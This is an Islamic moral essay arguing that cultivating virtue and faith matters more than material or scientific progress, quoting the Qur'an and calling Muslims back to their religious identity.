For man to reach this sublime level of noble virtues and morals and to translate them into a living reality on earth is the greatest achievement for which systems, laws, philosophies and ideologies may strive. It surpasses all other scientific and materialistic achievements which are known in our world today, and which dazzle us with their lights and colors. Man is the noblest and most precious of creatures, and all of the past efforts to establish human cultures have been aimed solely at achieving his happiness and elevating and honoring him. The way to honor him is by enhancing his humanity. The culture that concerns itself only with man’s lower desires, without developing and purifying his human nature and awakening his potential for good, is a culture that is sorely lacking. It has failed to fulfill the most important condition of human culture and has neglected the very humanity of man, which is his most valuable hidden asset.
All of the achievements and inventions of human civilization, such as cannons, missiles, satellites, transistors, television, video, etc., cannot replace the human aspect of man and indeed are worthless if they are not used to enhance his humanity, purify him and make him truly happy:
"By the Soul, and the proportion and order given to it. And its enlightenment as to its wrong and its right. Truly he succeeds that purifies it. And he fails that corrupts it!" (Qur’ân 91:7-10)
The development of a society is not measured solely in terms of its scientific achievements and material inventions. These are a factor, but there is another, more important, standard by which a society is also measured. That is the prevalence of human values such as love, empathy, altruism, sacrifice, uprightness and purity of thought, behavior and dealings with others.
If individuals are the basis of a society, and the pillars upon which every social renaissance is built, then rightly-guided societies pay attention to human development and enhance the positive, constructive aspects while seeking to eliminate evil, destructive motives, so that the individual will become a model citizen. It is from groups of such model citizens that clean, civil, strong, healthy, righteous societies are formed.
The Islâmic society is one which is integrated and of superior quality, and the Muslim in such a society is of the highest class because of the teachings of his religion which have instilled in him the highest and noblest human attitudes, and encouraged him to adhere to them in the field of social relationships.
The backwardness, division, hatred and cutting off of ties that we see occurring at all levels — international, regional and individual — among the Muslims are clear evidence of how Muslims are ignoring and neglecting the strong bonds of faith and brotherhood enjoined by Allâh. Hence the misguided ideologies of jâhiliyyah arose in the Muslim lands, and we have been overwhelmed by imported foreign principles that have brought poison and disease, and have made us like debris floating on the floodwaters. This would not have happened to the Muslims if their genuine Islâmic identity and the purity of their intellectual and spiritual sources had been preserved.
The attack against the Muslim world was conducted on two fronts. One was an assault directed against the Islâmic identity and aimed at distorting the Islâmic personality. The other was aimed at polluting the intellectual and spiritual sources, and diverting Muslims towards other, alien, sources. They managed in many Muslim lands to distort the Muslim identity and made the Muslims follow them like sheep in their intellectual matters and the way they behaved and felt. They deprived the Muslims of the values and morals of their religion, and took away the divine impetus which had brought them onto the stage of world history in such a remarkable fashion.
Nothing can restore the health and authenticity of the Muslim identity except a sincere return to the eternal way of Allâh, and a deep understanding of the mission with which the Muslim has been entrusted. This will enable the Muslims to fulfill their duty of conveying this message to mankind, after they have adopted it for themselves as an ideology and way of life.
When our misguided Ummah, which is lost in the mire of jâhiliyyah, subordination and tribalism, finally returns to the cool shade of Allâh, it will once again be the free, strong, integrated, supportive, united Ummah that will never be defeated. Then it will be the Ummah of faith, and Allâh has promised in the Qur’ân to support the Ummah of faith: "...and it was due from Us to aid those who believed." (Qur’an 30:47)
Thus a Muslim or a muslimah should live in such a way as the sahabah of old, who by their very life, caused the land in which they had arrived (such as India, China or Indonesia) to embrace Islam en-masse.